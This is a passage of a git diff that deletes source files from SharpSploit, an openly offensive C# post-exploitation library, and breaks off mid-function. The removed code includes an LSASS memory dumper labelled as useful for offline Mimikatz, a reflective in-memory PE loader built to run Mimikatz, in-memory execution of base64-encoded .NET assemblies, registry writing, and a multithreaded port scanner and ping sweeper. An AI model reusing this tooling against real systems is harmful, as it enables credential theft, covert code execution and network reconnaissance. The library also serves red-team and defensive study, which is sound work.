- Win32.Netapi32.SESSION_INFO_10 Info = (Win32.Netapi32.SESSION_INFO_10)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.SESSION_INFO_10));
- Offset += increment;
-
- sessions.Add(
- new SessionInfo
- {
- CName = Info.sesi10_cname,
- UserName = Info.sesi10_username,
- ComputerName = ComputerName,
- Time = Info.sesi10_time,
- IdleTime = Info.sesi10_idle_time
- }
- );
- }
- Win32.Netapi32.NetApiBufferFree(PtrInfo);
- }
- else
- {
- Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message);
- }
- }
- return sessions;
- }
- }
-}
\ No newline at end of file
diff --git a/Source/SharpSploit/Enumeration/Host.cs b/Source/SharpSploit/Enumeration/Host.cs
deleted file mode 100644
index fc55ba7..0000000
--- a/Source/SharpSploit/Enumeration/Host.cs
+++ /dev/null
@@ -1,307 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.IO;
-using System.Diagnostics;
-using System.Collections.Generic;
-using Microsoft.Win32;
-
-using SharpSploit.Generic;
-
-namespace SharpSploit.Enumeration
-{
- ///
- /// Host is a library for local host enumeration.
- ///
- public static class Host
- {
- ///
- /// Gets a list of running processes on the system.
- ///
- /// List of ProcessResults.
- public static SharpSploitResultList GetProcessList()
- {
- Process[] processes = Process.GetProcesses();
- SharpSploitResultList results = new SharpSploitResultList();
- foreach (Process process in processes)
- {
- results.Add(new ProcessResult(process.Id, 0, process.ProcessName));
- }
- return results;
- }
-
- ///
- /// Generates a minidump that represents the memory of a running process. Useful for offline Mimikatz
- /// if dumping the LSASS process. (Requires Admin)
- ///
- /// Process ID of the process to generate a minidump for.
- /// Path to write output file in. Defaults to the current directory.
- /// Filename to ouput the minidump to.
- ///
- /// Authored by Justin Bui (@youslydawg).
- ///
- public static void CreateProcessDump(int processId, string outputPath = "", string outputFileName = "")
- {
- CreateProcessDump(Process.GetProcessById(processId), outputPath, outputFileName);
- }
-
- ///
- /// Generates a minidump that represents the memory of a running process. Useful for offline Mimikatz
- /// if dumping the LSASS process. (Requires Admin)
- ///
- /// Name of the process to generate a minidump for.
- /// Path to write output file in. Defaults to the current directory.
- /// Filename to ouput the minidump to.
- ///
- /// Authored by Justin Bui (@youslydawg).
- ///
- public static void CreateProcessDump(string processName = "lsass", string outputPath = "", string outputFileName = "")
- {
- if (processName.EndsWith(".exe"))
- {
- processName = processName.Substring(0, processName.Length - 4);
- }
- Process[] process_list = Process.GetProcessesByName(processName);
- if (process_list.Length > 0)
- {
- CreateProcessDump(process_list[0], outputPath, outputFileName);
- }
- }
-
- ///
- /// Generates a minidump that represents the memory of a running process. Useful for offline Mimikatz
- /// if dumping the LSASS process. (Requires Admin)
- ///
- /// Process to generate a minidump for.
- /// Path to write output file in. Defaults to the current directory.
- /// Filename to ouput the minidump to.
- ///
- /// Authored by Justin Bui (@youslydawg).
- ///
- public static void CreateProcessDump(Process process, string outputPath = "", string outputFileName = "")
- {
- if (outputPath == "" || outputPath == null)
- {
- outputPath = GetCurrentDirectory();
- }
- if (outputFileName == "" || outputFileName == null)
- {
- outputFileName = process.ProcessName + "_" + process.Id + ".dmp";
- }
-
- string fullPath = Path.Combine(outputPath, outputFileName);
- FileStream fileStream = File.Create(fullPath);
- bool success = false;
- try
- {
- success = Execution.Win32.Dbghelp.MiniDumpWriteDump(process.Handle, (uint)process.Id, fileStream.SafeFileHandle, Execution.Win32.Dbghelp.MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
- }
- catch (System.ComponentModel.Win32Exception e)
- {
- Console.Error.WriteLine(e.Message);
- }
-
- fileStream.Close();
- if (!success)
- {
- File.Delete(fullPath);
- }
- }
-
- ///
- /// Gets the hostname of the system.
- ///
- /// Hostname of the system.
- public static string GetHostname()
- {
- return Environment.MachineName;
- }
-
- ///
- /// Gets the Domain name and username of the current logged on user.
- ///
- /// Current username.
- public static string GetUsername()
- {
- return Environment.UserDomainName + "\\" + Environment.UserName;
- }
-
- ///
- /// Gets the full path of the current working directory.
- ///
- /// Current working directory.
- public static string GetCurrentDirectory()
- {
- return Directory.GetCurrentDirectory();
- }
-
- ///
- /// Gets a directory listing of the current working directory.
- ///
- /// List of FileSystemEntryResults.
- public static SharpSploitResultList GetDirectoryListing()
- {
- SharpSploitResultList results = new SharpSploitResultList();
- foreach (string dir in Directory.GetDirectories(GetCurrentDirectory()))
- {
- results.Add(new FileSystemEntryResult(dir));
- }
- foreach (string file in Directory.GetFiles(GetCurrentDirectory()))
- {
- results.Add(new FileSystemEntryResult(file));
- }
- return results;
- }
-
- ///
- /// Changes the current directory by appending a specified string to the current working directory.
- ///
- /// String to append to the current directory.
- public static void ChangeCurrentDirectory(string AppendDirectory)
- {
- Directory.SetCurrentDirectory(GetCurrentDirectory() + "\\" + AppendDirectory);
- }
-
- ///
- /// Reads a value stored in registry.
- ///
- /// The full path to the registry value to be read.
- ///
- public static string RegistryRead(string RegPath)
- {
- var split = RegPath.Split(Path.DirectorySeparatorChar);
- string valueName = split[split.Length - 1];
- string keyName = RegPath.Substring(0, RegPath.IndexOf(valueName));
- return RegistryRead(keyName, valueName);
- }
-
- ///
- /// Reads a value stored in registry.
- ///
- /// The RegistryKey to read from.
- /// The name of name/value pair to read from in the RegistryKey.
- ///
- public static string RegistryRead(string RegKey, string RegValue)
- {
- try
- {
- object reg = Registry.GetValue(RegKey, RegValue, null);
- if (reg == null)
- {
- return null;
- }
- return reg.ToString();
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("Registry read exception: " + e.Message);
- return null;
- }
- }
-
- ///
- /// Writes a value in the registry.
- ///
- /// The full path to the registry value to be written to.
- /// The value to write to the registry key.
- ///
- public static bool RegistryWrite(string RegPath, object Value)
- {
- var split = RegPath.Split(Path.DirectorySeparatorChar);
- string valueName = split[split.Length - 1];
- string keyName = RegPath.Substring(0, RegPath.IndexOf(valueName));
- return RegistryWrite(keyName, valueName, Value);
- }
-
- ///
- /// Writes a value in the registry.
- ///
- /// The RegistryKey to read from.
- /// The name of name/value pair to read from in the RegistryKey.
- /// The value to write to the registry key.
- ///
- public static bool RegistryWrite(string RegKey, string RegValue, object Value)
- {
- try
- {
- Registry.SetValue(RegKey, RegValue, Value);
- return true;
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("Registry write exception: " + e.Message);
- return false;
- }
- }
-
- ///
- /// ProcessResult represents a running process, used with the GetProcessList() function.
- ///
- public sealed class ProcessResult : SharpSploitResult
- {
- public int Pid { get; } = 0;
- public int Ppid { get; } = 0;
- public string Name { get; } = "";
- protected internal override IList ResultProperties
- {
- get
- {
- return new List
- {
- new SharpSploitResultProperty
- {
- Name = "Pid",
- Value = this.Pid
- },
- new SharpSploitResultProperty
- {
- Name = "Ppid",
- Value = this.Ppid
- },
- new SharpSploitResultProperty
- {
- Name = "Name",
- Value = this.Name
- }
- };
- }
- }
-
- public ProcessResult(int Pid = 0, int Ppid = 0, string Name = "")
- {
- this.Pid = Pid;
- this.Ppid = Ppid;
- this.Name = Name;
- }
- }
-
- ///
- /// FileSystemEntryResult represents a file on disk, used with the GetDirectoryListing() function.
- ///
- public sealed class FileSystemEntryResult : SharpSploitResult
- {
- public string Name { get; } = "";
- protected internal override IList ResultProperties
- {
- get
- {
- return new List
- {
- new SharpSploitResultProperty
- {
- Name = "Name",
- Value = this.Name
- }
- };
- }
- }
-
- public FileSystemEntryResult(string Name = "")
- {
- this.Name = Name;
- }
- }
- }
-}
diff --git a/Source/SharpSploit/Enumeration/Network.cs b/Source/SharpSploit/Enumeration/Network.cs
deleted file mode 100644
index 62372a4..0000000
--- a/Source/SharpSploit/Enumeration/Network.cs
+++ /dev/null
@@ -1,340 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Linq;
-using System.Net;
-using System.Net.Sockets;
-using System.Net.NetworkInformation;
-using System.Collections.Generic;
-
-using SharpSploit.Generic;
-using SharpSploit.Misc;
-
-namespace SharpSploit.Enumeration
-{
- ///
- /// Network is a library for network enumeration such as identifying live systems and open ports.
- ///
- public static class Network
- {
- ///
- /// Conducts a port scan of a specified ComputerName and port and reports if the port is open.
- ///
- /// ComputerName to port scan.
- /// Port to scan.
- /// Optional switch. If true, pings the ComputerName to ensure it's up before port scanning.
- /// Timeout (in milliseconds) before the port is considered down.
- /// List of PortScanResults
- public static SharpSploitResultList PortScan(string ComputerName, int Port, bool Ping = true, int Timeout = 250)
- {
- return PortScan(new List { ComputerName }, new List { Port }, Ping, Timeout, 1);
- }
-
- ///
- /// Conducts a port scan of specified ComputerNames on a specified port and reports if the port is open.
- ///
- /// ComputerNames to port scan.
- /// Port to scan.
- /// Optional switch. If true, pings the ComputerNames to ensure each is up before port scanning.
- /// Timeout (in milliseconds) before a port is considered down.
- /// Number of threads with which to portscan simultaneously
- /// List of PortScanResults
- public static SharpSploitResultList PortScan(IList ComputerNames, int Port, bool Ping = true, int Timeout = 250, int Threads = 100)
- {
- return PortScan(ComputerNames, new List { Port }, Ping, Timeout, Threads);
- }
-
- ///
- /// Conducts a port scan of a specified ComputerName on specified ports and reports open ports.
- ///
- /// ComputerName to port scan.
- /// Ports to scan.
- /// Optional switch. If true, pings the ComputerName to ensure it's up before port scanning.
- /// Timeout (in milliseconds) before a port is considered down.
- /// Number of threads with which to portscan simultaneously
- /// List of PortScanResults
- public static SharpSploitResultList PortScan(string ComputerName, IList Ports, bool Ping = true, int Timeout = 250, int Threads = 100)
- {
- return PortScan(new List { ComputerName }, Ports, Ping, Timeout, Threads);
- }
-
- ///
- /// Conducts a port scan of specified ComputerNames on specified ports and reports open ports.
- ///
- /// ComputerNames to port scan.
- /// Ports to scan.
- /// Optional switch. If true, pings the ComputerNames to ensure each is up before port scanning.
- /// Timeout (in milliseconds) before a port is considered down.
- /// Number of threads with which to portscan simultaneously
- /// List of PortScanResults
- public static SharpSploitResultList PortScan(IList ComputerNames, IList Ports, bool Ping = true, int Timeout = 250, int Threads = 100)
- {
- IList scanAddresses = Utilities.ConvertCidrToIPs(ComputerNames).Distinct().ToList();
- IList scanPorts = Ports.Where(P => P > 1 && P < 65536).Distinct().ToList();
- if (Ping)
- {
- SharpSploitResultList pingResults = Network.Ping(scanAddresses, Timeout, Threads);
- scanAddresses = pingResults.Where(PR => PR.IsUp).Select(PR => PR.ComputerName).ToList();
- }
- IList portScanResults = new List();
- using (CountdownEvent waiter = new CountdownEvent(scanAddresses.Count * Ports.Count))
- {
- object portScanResultsLock = new object();
- int runningThreads = 0;
- foreach (string ComputerName in scanAddresses)
- {
- foreach (int Port in scanPorts)
- {
- TcpClient client = null;
- if (!Utilities.IsIP(ComputerName))
- {
- client = new TcpClient();
- }
- else
- {
- IPAddress.TryParse(ComputerName, out IPAddress address);
- client = new TcpClient(address.AddressFamily);
- }
- PortScanResult portScanResult = new PortScanResult(ComputerName, Port, true);
- while (runningThreads >= Threads)
- {
- waiter.WaitOne(Timeout);
- runningThreads--;
- }
- IAsyncResult asyncResult = client.BeginConnect(ComputerName, Port, new AsyncCallback((state) => {
- try
- {
- client.EndConnect(state);
- client.Close();
- }
- catch
- {
- portScanResult.IsOpen = false;
- }
- if (portScanResult.IsOpen)
- {
- lock (portScanResultsLock)
- {
- portScanResults.Add(portScanResult);
- }
- }
- ((CountdownEvent)state.AsyncState).Signal();
- }), waiter);
- runningThreads++;
- }
- }
- waiter.Wait(Timeout * scanAddresses.Count * Ports.Count);
- }
- SharpSploitResultList results = new SharpSploitResultList();
- results.AddRange(portScanResults);
-
- return results;
- }
-
- ///
- /// Pings a specified ComputerName to identify if it is live.
- ///
- /// ComputerName to ping.
- /// Timeout (in milliseconds) before a ComputerName is considered down.
- ///
- public static SharpSploitResultList Ping(string ComputerName, int Timeout = 250)
- {
- return Ping(new List { ComputerName }, Timeout, 1);
- }
- ///
- /// Pings specified ComputerNames to identify live systems.
- ///
- /// ComputerNames to ping.
- /// Timeout (in milliseconds) before a ComputerName is considered down.
- /// Number of threads with which to ping simultaneously
- ///
- public static SharpSploitResultList Ping(IList ComputerNames, int Timeout = 250, int Threads = 100)
- {
- IList pingAddresses = Utilities.ConvertCidrToIPs(ComputerNames).Distinct().ToList();
- SharpSploitResultList pingResults = new SharpSploitResultList();
- using (CountdownEvent waiter = new CountdownEvent(pingAddresses.Count))
- {
- object pingResultsLock = new object();
- int runningThreads = 0;
- foreach (string ComputerName in pingAddresses)
- {
- Ping ping = new Ping();
- PingResult pingResult = new PingResult(ComputerName, true);
- ping.PingCompleted += new PingCompletedEventHandler((sender, e) =>
- {
- if (e.Reply != null && e.Reply.Status == IPStatus.Success)
- {
- lock (pingResultsLock)
- {
- pingResults.Add(pingResult);
- }
- }
- ((CountdownEvent)e.UserState).Signal();
- });
- while (runningThreads >= Threads)
- {
- waiter.WaitOne();
- runningThreads--;
- }
- try
- {
- ping.SendAsync(ComputerName, Timeout, waiter);
- runningThreads++;
- }
- catch { }
- }
- waiter.Wait(Timeout * pingAddresses.Count);
- }
- return pingResults;
- }
-
- ///
- /// PingResult represent the result of a ping, used with the Ping() functions.
- ///
- public sealed class PingResult : SharpSploitResult
- {
- public string ComputerName { get; } = "";
- public bool IsUp { get; } = false;
- protected internal override IList ResultProperties
- {
- get
- {
- return new List
- {
- new SharpSploitResultProperty
- {
- Name = "ComputerName",
- Value = this.ComputerName
- },
- new SharpSploitResultProperty
- {
- Name = "IsUp",
- Value = this.IsUp
- }
- };
- }
- }
-
- public PingResult(string ComputerName = "", bool IsUp = false)
- {
- this.ComputerName = ComputerName;
- this.IsUp = IsUp;
- }
- }
-
- ///
- /// PortScanResult represent the result of a port scan, used with the PortScan() functions.
- ///
- public sealed class PortScanResult : SharpSploitResult
- {
- public string ComputerName { get; } = "";
- public int Port { get; } = 0;
- public bool IsOpen { get; set; } = false;
- protected internal override IList ResultProperties
- {
- get
- {
- return new List
- {
- new SharpSploitResultProperty
- {
- Name = "ComputerName",
- Value = this.ComputerName
- },
- new SharpSploitResultProperty
- {
- Name = "Port",
- Value = this.Port
- },
- new SharpSploitResultProperty
- {
- Name = "IsOpen",
- Value = this.IsOpen
- }
- };
- }
- }
-
- public PortScanResult(string ComputerName = "", int Port = 0, bool IsOpen = false)
- {
- this.ComputerName = ComputerName;
- this.Port = Port;
- this.IsOpen = IsOpen;
- }
- }
-
- private class Utilities
- {
- private static IList ConvertCidrToIPs(string CidrComputerName)
- {
- if (CidrComputerName == null || CidrComputerName == "")
- {
- return new List();
- }
- if (!IsCidr(CidrComputerName))
- {
- return new List { CidrComputerName };
- }
- // credit - https://stackoverflow.com/questions/32028166
- string[] parts = CidrComputerName.Split('.', '/');
- uint ipasnum = (Convert.ToUInt32(parts[0]) << 24) | (Convert.ToUInt32(parts[1]) << 16) |
- (Convert.ToUInt32(parts[2]) << 8) | (Convert.ToUInt32(parts[3]));
- int maskbits = Convert.ToInt32(parts[4]);
- uint mask = 0xffffffff;
- mask <<= (32 - maskbits);
- uint ipstart = ipasnum & mask;
- uint ipend = ipasnum | ~mask;
- List IPAddresses = new List();
- for (uint i = ipstart; i < ipend + 1; i++)
- {
- IPAddresses.Add(String.Format("{0}.{1}.{2}.{3}", i >> 24, (i >> 16) & 0xff, (i >> 8) & 0xff, i & 0xff));
- }
- return IPAddresses;
- }
-
- public static IList ConvertCidrToIPs(IList CidrComputerNames)
- {
- List ComputerNames = new List();
- foreach (string CidrComputerName in CidrComputerNames)
- {
- IList cns = ConvertCidrToIPs(CidrComputerName);
- ComputerNames.AddRange(cns);
- }
- return ComputerNames;
- }
-
- public static bool IsCidr(string ComputerName)
- {
- string[] parts = ComputerName.Split('.', '/');
- if (parts.Length != 5)
- {
- return false;
- }
- foreach (string part in parts)
- {
- if (!int.TryParse(part, out int i))
- {
- return false;
- }
- if (i < 0 || i > 255)
- {
- return false;
- }
- }
- if (!ComputerName.Contains("/"))
- {
- return false;
- }
- string ippart = ComputerName.Split('/')[0];
- return ippart.Split('.').Length == 4;
- }
-
- public static bool IsIP(string ComputerName)
- {
- return IPAddress.TryParse(ComputerName, out IPAddress address);
- }
- }
- }
-}
diff --git a/Source/SharpSploit/Execution/Assembly.cs b/Source/SharpSploit/Execution/Assembly.cs
deleted file mode 100644
index 873715f..0000000
--- a/Source/SharpSploit/Execution/Assembly.cs
+++ /dev/null
@@ -1,69 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using Reflect = System.Reflection;
-
-using SharpSploit.Generic;
-
-namespace SharpSploit.Execution
-{
- ///
- /// Assembly is a library for loading .NET assemblies and executing methods contained within them.
- ///
- public static class Assembly
- {
- ///
- /// Loads a specified .NET assembly byte array and executes a specified method within a
- /// specified type with specified parameters.
- ///
- /// The .NET assembly byte array.
- /// The name of the type that contains the method to execute.
- /// The name of the method to execute.
- /// The parameters to pass to the method.
- /// GenericObjectResult of the method.
- public static GenericObjectResult AssemblyExecute(byte[] AssemblyBytes, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[]))
- {
- Reflect.Assembly assembly = Load(AssemblyBytes);
- Type type = TypeName == "" ? assembly.GetTypes()[0] : assembly.GetType(TypeName);
- Reflect.MethodInfo method = MethodName == "" ? type.GetMethods()[0] : type.GetMethod(MethodName);
- var results = method.Invoke(null, Parameters);
- return new GenericObjectResult(results);
- }
-
- ///
- /// Loads a specified base64-encoded .NET assembly and executes a specified method within a
- /// specified type with specified parameters.
- ///
- /// The base64-encoded .NET assembly byte array.
- /// The name of the type that contains the method to execute.
- /// The name of the method to execute.
- /// The parameters to pass to the method.
- /// GenericObjectResult of the method.
- public static GenericObjectResult AssemblyExecute(String EncodedAssembly, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[]))
- {
- return AssemblyExecute(Convert.FromBase64String(EncodedAssembly));
- }
-
- ///
- /// Loads a specified .NET assembly byte array.
- ///
- /// The .NET assembly byte array.
- /// Loaded assembly.
- public static Reflect.Assembly Load(byte[] AssemblyBytes)
- {
- return Reflect.Assembly.Load(AssemblyBytes);
- }
-
- ///
- /// Loads a specified .NET assembly byte array.
- ///
- /// The base64-encoded .NET assembly byte array.
- /// Loaded assembly.
- public static Reflect.Assembly Load(string EncodedAssembly)
- {
- return Reflect.Assembly.Load(Convert.FromBase64String(EncodedAssembly));
- }
- }
-}
diff --git a/Source/SharpSploit/Execution/PE.cs b/Source/SharpSploit/Execution/PE.cs
deleted file mode 100644
index f1fd1a4..0000000
--- a/Source/SharpSploit/Execution/PE.cs
+++ /dev/null
@@ -1,550 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.IO;
-using System.Runtime.InteropServices;
-
-namespace SharpSploit.Execution
-{
- ///
- /// PE is a library for loading PEs in memory. It currently only work for the Mimikatz PE, not for arbitrary PEs.
- ///
- ///
- /// PE has been adapted from Casey Smith's (@subtee) PELoader which is no longer available online. However, Chris Ross'
- /// (@xorrior) fork is available here: https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader
- ///
- public class PE
- {
- [Flags]
- public enum DataSectionFlags : uint
- {
- Stub = 0x00000000,
- }
-
- public bool Is32BitHeader
- {
- get
- {
- UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
- return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
- }
- }
-
- public IMAGE_FILE_HEADER FileHeader { get; private set; }
-
- /// Gets the optional header
- public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 { get; private set; }
-
- /// Gets the optional header
- public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 { get; private set; }
-
- public IMAGE_SECTION_HEADER[] ImageSectionHeaders { get; private set; }
-
- public byte[] PEBytes { get; private set; }
-
- /// The DOS header
- private IMAGE_DOS_HEADER dosHeader;
- //Primary class for loading PE
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate bool main(IntPtr arg1, uint arg2, IntPtr lparam);
-
- private static IntPtr codebase;
-
- ///
- /// PE Constructor
- ///
- /// PE raw bytes.
- public PE(byte[] PEBytes)
- {
- // Read in the DLL or EXE and get the timestamp
- using (MemoryStream stream = new MemoryStream(PEBytes, 0, PEBytes.Length))
- {
- BinaryReader reader = new BinaryReader(stream);
- dosHeader = FromBinaryReader(reader);
-
- // Add 4 bytes to the offset
- stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
-
- UInt32 ntHeadersSignature = reader.ReadUInt32();
- FileHeader = FromBinaryReader(reader);
- if (this.Is32BitHeader)
- {
- OptionalHeader32 = FromBinaryReader(reader);
- }
- else
- {
- OptionalHeader64 = FromBinaryReader(reader);
- }
-
- ImageSectionHeaders = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections];
- for (int headerNo = 0; headerNo < ImageSectionHeaders.Length; ++headerNo)
- {
- ImageSectionHeaders[headerNo] = FromBinaryReader(reader);
- }
- this.PEBytes = PEBytes;
- }
- }
-
- ///
- /// Loads a PE with a specified byte array. (Requires Admin) **(*Currently broken. Works for Mimikatz, but not arbitrary PEs*)
- ///
- ///
- /// PE
- public static PE Load(byte[] PEBytes)
- {
- PE pe = new PE(PEBytes);
- if (pe.Is32BitHeader)
- {
- // Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4"));
- codebase = Win32.Kernel32.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE);
- // Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
- }
- else
- {
- // Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
- codebase = Win32.Kernel32.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE);
- // Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
- }
-
- // Copy Sections
- for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
- {
- IntPtr y = Win32.Kernel32.VirtualAlloc(IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE);
- Marshal.Copy(pe.PEBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
- // Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
- }
-
- // Perform Base Relocation
- // Calculate Delta
- IntPtr currentbase = codebase;
- long delta;
- if (pe.Is32BitHeader)
- {
- delta = (int)(currentbase.ToInt32() - (int)pe.OptionalHeader32.ImageBase);
- }
- else
- {
- delta = (long)(currentbase.ToInt64() - (long)pe.OptionalHeader64.ImageBase);
- }
- // Console.WriteLine("Delta = {0}", delta.ToString("X4"));
-
- // Modify Memory Based On Relocation Table
- IntPtr relocationTable;
- if (pe.Is32BitHeader)
- {
- relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress));
- }
- else
- {
- relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
- }
-
- Win32.Kernel32.IMAGE_BASE_RELOCATION relocationEntry = new Win32.Kernel32.IMAGE_BASE_RELOCATION();
- relocationEntry = (Win32.Kernel32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION));
-
- int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION));
- IntPtr nextEntry = relocationTable;
- int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
- IntPtr offset = relocationTable;
-
- while (true)
- {
- Win32.Kernel32.IMAGE_BASE_RELOCATION relocationNextEntry = new Win32.Kernel32.IMAGE_BASE_RELOCATION();
- IntPtr x = IntPtrAdd(relocationTable, sizeofNextBlock);
- relocationNextEntry = (Win32.Kernel32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION));
-
- IntPtr dest = IntPtrAdd(codebase, (int)relocationEntry.VirtualAdress);
-
- for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
- {
- IntPtr patchAddr;
- UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
-
- UInt16 type = (UInt16)(value >> 12);
- UInt16 fixup = (UInt16)(value & 0xfff);
-
- switch (type)
- {
- case 0x0:
- break;
- case 0x3:
- patchAddr = IntPtrAdd(dest, fixup);
- //Add Delta To Location.
- int originalx86Addr = Marshal.ReadInt32(patchAddr);
- Marshal.WriteInt32(patchAddr, originalx86Addr + (int)delta);
- break;
- case 0xA:
- patchAddr = IntPtrAdd(dest, fixup);
- //Add Delta To Location.
- long originalAddr = Marshal.ReadInt64(patchAddr);
- Marshal.WriteInt64(patchAddr, originalAddr + delta);
- break;
- }
-
- }
-
- offset = IntPtrAdd(relocationTable, sizeofNextBlock);
- sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
- relocationEntry = relocationNextEntry;
-
- nextEntry = IntPtrAdd(nextEntry, sizeofNextBlock);
-
- if (relocationNextEntry.SizeOfBlock == 0) break;
- }
-
- // Resolve Imports
-
- IntPtr z;
- IntPtr oa1;
- int oa2;
-
- if (pe.Is32BitHeader)
- {
- z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
- oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader32.ImportTable.VirtualAddress);
- oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16));
- }
- else
- {
- z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
- oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
- oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16));
- }
-
- // Get And Display Each DLL To Load
- IntPtr threadStart;
- int VirtualAddress, AddressOfEntryPoint, ByteSize;
- if (pe.Is32BitHeader)
- {
- VirtualAddress = (int)pe.OptionalHeader32.ImportTable.VirtualAddress;
- AddressOfEntryPoint = (int)pe.OptionalHeader32.AddressOfEntryPoint;
- ByteSize = 4;
- }
- else
- {
- VirtualAddress = (int)pe.OptionalHeader64.ImportTable.VirtualAddress;
- AddressOfEntryPoint = (int)pe.OptionalHeader64.AddressOfEntryPoint;
- ByteSize = 8;
- }
- int j = 0;
- while (true)
- {
- IntPtr a1 = IntPtrAdd(codebase, (20 * j) + VirtualAddress);
- int entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16));
- IntPtr a2 = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2));
- IntPtr dllNamePTR = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12))));
- string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
- if (DllName == "") { break; }
-
- IntPtr handle = Win32.Kernel32.LoadLibrary(DllName);
- // Console.WriteLine("Loaded {0}", DllName);
- int k = 0;
- while (true)
- {
- IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2)));
- string DllFuncName = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2));
- IntPtr funcAddy = Win32.Kernel32.GetProcAddress(handle, DllFuncName);
- if (pe.Is32BitHeader) { Marshal.WriteInt32(a2, (int)funcAddy); }
- else { Marshal.WriteInt64(a2, (long)funcAddy); }
- a2 = IntPtrAdd(a2, ByteSize);
- if (DllFuncName == "") break;
- k++;
- }
- j++;
- }
- // Transfer Control To OEP
- // Call dllmain
- threadStart = IntPtrAdd(codebase, AddressOfEntryPoint);
- main dllmain = (main)Marshal.GetDelegateForFunctionPointer(threadStart, typeof(main));
- dllmain(codebase, 1, IntPtr.Zero);
- // Console.WriteLine("Thread Complete");
- return pe;
- }
-
- ///
- /// Gets a pointer to an exported function in the PE. Useful to call specific exported functions after loading the PE.
- ///
- /// Name of the function to get a pointer for.
- /// Pointer to the function.
- public IntPtr GetFunctionExport(string funcName)
- {
- IntPtr ExportTablePtr = IntPtr.Zero;
- PE.IMAGE_EXPORT_DIRECTORY expDir;
-
- if (this.Is32BitHeader && this.OptionalHeader32.ExportTable.Size == 0) { return IntPtr.Zero; }
- else if (!this.Is32BitHeader && this.OptionalHeader64.ExportTable.Size == 0) { return IntPtr.Zero; }
-
- if (this.Is32BitHeader)
- {
- ExportTablePtr = (IntPtr)((ulong)codebase + (ulong)this.OptionalHeader32.ExportTable.VirtualAddress);
- }
- else
- {
- ExportTablePtr = (IntPtr)((ulong)codebase + (ulong)this.OptionalHeader64.ExportTable.VirtualAddress);
- }
-
- expDir = (PE.IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ExportTablePtr, typeof(PE.IMAGE_EXPORT_DIRECTORY));
- for (int i = 0; i < expDir.NumberOfNames; i++)
- {
